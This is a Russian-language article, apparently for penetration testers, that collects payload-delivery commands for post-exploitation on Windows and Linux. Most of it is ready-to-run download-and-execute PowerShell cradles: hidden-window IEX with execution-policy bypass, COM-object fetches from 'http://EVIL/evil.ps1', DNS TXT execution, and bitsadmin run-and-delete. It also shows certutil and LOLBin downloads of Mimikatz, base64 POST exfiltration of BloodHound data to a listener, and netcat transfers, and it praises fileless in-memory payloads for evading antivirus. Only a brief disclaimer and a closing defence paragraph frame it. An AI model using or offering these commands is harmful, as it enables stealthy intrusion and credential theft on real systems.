Сбор методов доставки нагрузок

Всем большой привет!

Этой статейкой делаю заметку всех собранных и используемых техник доставки нагрузок до тестируемого ПК/Сервера. Это очень важный и парой один из самых важных шагов в постэксплуатации.

ДисклеймерДанная статья написана только в образовательных целях и автор не несёт ответственности за ваши действия. Ни в коем случае не призываем читателей на совершение противозаконных действий.

Методы доставки сплоита могут быть различными в зависимости от того, на какой ОС расположен активный сервис, какое антивирусное ПО использует, есть ли WAF и мн.др. Уже несколько лет самым ужасным, как лично я считаю, методом является доставка «безтельной» нагрузки. Это нагрузка которая не сохраняется на жесткий диск атакуемого, а исполняется сразу в памяти и относится к ОС Windows. Как правило такую нагрузку можно дополнить различными методами абфускации кода или прибегнуть к техникам обхода антивирусов и тогда наш подопытный обнаружит ее через очень длительное время и будет она жить в памяти до перезагрузки.

Итак, разобьем техники по сервисам или приложениям:

Powershell

My Favor

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.10.10:80/a'))"
c:\wIndOwS\SYSTeM32\WinDOWsPoweRShElL\V1.0\pOweRsHeLl.EXE -nOP -Ep BypAsS -w hiDdEn -c "IEX ((new-object net.webclient).downloadstring('http://10.10.10.10:80/a'))"

powershell proxy authentication

$Client = New-Object -TypeName System.Net.WebClient
$Client.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
IEX (iwr 'https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')

Invoke-WebRequest / Invoke-RestMethod

Invoke-WebRequest "http://10.10.10.10/mimikatz.exe" -OutFile "C:\Users\Public\mimikatz.exe"
Invoke-RestMethod "http://10.10.10.10/mimikatz.exe" -OutFile "C:\Users\Public\mimikatz.exe"

Invoke-WebRequest / Invoke-RestMethod POST base64 data

nc -lvnp 443
$Base64String = [System.convert]::ToBase64String((Get-Content -Path 'c:/temp/BloodHound.zip' -Encoding Byte)) Invoke-WebRequest -Uri http://10.10.10.10:443 -Method POST -Body $Base64String
echo <base64> | base64 -d -w 0 > bloodhound.zip

base64 encode

[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\TEMP\admin.kirbi"))

base64 decode

[IO.File]::WriteAllBytes("admin.kirbi", [Convert]::FromBase64String("<base64>"))

download cradles

Powershell 3.0+ download and execute (bypass IE firstrun check)

IEX (iwr 'https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1' -UseBasicParsing)

Powershell (any version)

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')"
(New-Object System.Net.WebClient).DownloadFile("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1", "C:\Users\Public\Invoke-Mimikatz.ps1")

Hidden IE com object

$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

Msxml2.XMLHTTP COM object

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText

WinHttp COM object

$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText

Bitstransfer

Import-Module bitstransfer;Start-BitsTransfer 'http://EVIL/evil.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r

// DNS TXT approach from PowerBreach  https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerBreach/PowerBreach.ps1)

// code to execute needs to be a base64 encoded string stored in a TXT record

IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(((nslookup -querytype=txt "SERVER" | Select -Pattern '"*"') -split '"'[0]))))

Bitsadmin

bitsadmin.exe /transfer n https://gist.githubusercontent.com/egre55/816ddb91016034dcf747f4ea5f054767/raw/69da838fdfd74811060aabfe1f66c8cd0d058daf/procmon.ps1 C:\Users\Public\Music\procmon.ps1
cmd.exe /c bitsadmin /transfer 2be7 http://10.10.10.10:80/ %APPDATA%\2be7.exe&%APPDATA%\2be7.exe&del %APPDATA%\2be7.exe

scp / pscp

pscp.exe C:\Users\Public\info.txt user@target:/tmp/info.txt
pscp.exe user@target:/home/user/secret.txt C:\Users\Public\secret.txt

Certutil

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1
certutil.exe -verifyctl -split -f https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1

Base64

cat binary | base64 -w 0
echo <base64> | base64 -d > binary

certutil.exe base64

certutil.exe -encode mimikatz.exe mimikatz.txt
certutil.exe -decode mimikatz.txt mimikatz.exe

openssl base64

openssl.exe enc -base64 -in mimikatz.exe -out mimikatz.txt
openssl.exe enc -base64 -d -in mimikatz.txt -out mimikatz.exe

WebDAV downloaders

makecab.exe

C:\Windows\System32\makecab.exe \\10.10.10.10\share\nmap.zip C:\Users\Public\nmap.cab

esentutl.exe

C:\Windows\System32\esentutl.exe /y "\\10.10.10.10\share\mimikatz_trunk.zip" /d"C:\Users\Public\mimikatz_trunk.zip" /o

extrac32.exe

C:\Windows\System32\extrac32.exe /Y /C \\10.10.10.10\share\secret.txt C:\Users\Public\secret.txt

print.exe

C:\Windows\System32\print.exe /D c:\TEMP\ADExplorer.exe \\live.sysinternals.com\tools\ADExplorer.exe

Netcat

nc -nlvp 8000 > mimikatz.exe
nc -nv 10.10.10.10 8000 </tmp/mimikatz.exe

Openssl

openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/mimikatz.exe
openssl s_client -connect 10.10.10.10:80 -quiet > mimikatz.exe

web browser / server

python -m SimpleHTTPServer 80
python3 -m http.server
ruby -run -ehttpd . -p80
php -S 0.0.0.0:80
socat TCP-LISTEN:80,reuseaddr,fork

Wget

wget http://10.10.10.10:80/info.txt -O /tmp/info.txt

Curl

curl -o /tmp/info.txt http://10.10.10.10:80/info.txt

Rdesktop

rdesktop 10.10.10.10 -r disk:linux='/home/user/rdesktop/files'

SMB

smbclient //10.10.10.10/share -U username -W domain
net use Q: \\10.10.10.10\share
xcopy \\10.10.10.10\share\mimikatz.exe mimikatz.exe
pushd \\10.10.10.10\share
mklink /D share \\10.10.10.10\share

FTP

ftp -s:script.txt

open 10.10.10.10
anonymous
anonymous
lcd c:\uploads
get info.txt
quit

TFTP

tftp -i 10.10.10.10 get mimikatz.exe

Так же можно упомянуть доставку средствами доверенных вэб-сервисов и почтовую корреспонденцию, но эта тема отдельной статьи.

!Помните, нет таких программных и аппаратных средств защиты которые не обходятся.

!Не существует «волшебных железок», купив которые Вы будете защищены на 100%.

Администраторы и безопасники должны знать эти методы для предотвращения атак по заливке исполняемых файлов.

Контроль запуска приложений только из «белого списка», средства контроля изменений целостности, настроенные и не громоздкие SIEM системы — это именно те средства, которые помогут Вам быть чуточку безопаснее.